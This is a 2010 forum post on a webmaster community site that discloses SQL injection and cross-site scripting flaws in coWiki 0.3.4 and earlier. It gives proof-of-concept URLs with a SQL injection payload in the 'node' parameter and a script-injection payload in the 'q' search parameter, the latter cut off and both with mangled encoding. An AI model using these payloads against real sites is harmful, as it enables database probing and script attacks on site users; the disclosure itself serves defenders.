Professional Webmasters Community
Would you like to react to this message? Create an account in a few clicks or log in to continue.
Professional Webmasters Community

your are free to explore your reviews, thoughts, suggestion and guidelines on every online tech talk.


SQL Injection and XSS vulnerability in coWiki

Professional Webmasters Community :: Webmaster Speak :: Tech Talk

Go down

SQL Injection and XSS vulnerability in coWiki Empty SQL Injection and XSS vulnerability in coWiki

Post  andry Wed Aug 11, 2010 11:50 pm

SQL Injection:

http://site/index.php?node=-1 '% 20or% 20version ()% 3E'5

Vulnerable coWiki 0.3.4 and previous versions.


XSS:

Vulnerability in the main script in the parameter q.

http://site/?cmd=srchdoc&q =% 22% 3E% 3Cscript% 3Ealert (document
andry
andry
Moderator
Moderator

Posts : 467
Join date : 2010-05-07

Back to top Go down

Back to top

- Similar topics

Professional Webmasters Community :: Webmaster Speak :: Tech Talk

 
Permissions in this forum:
You cannot reply to topics in this forum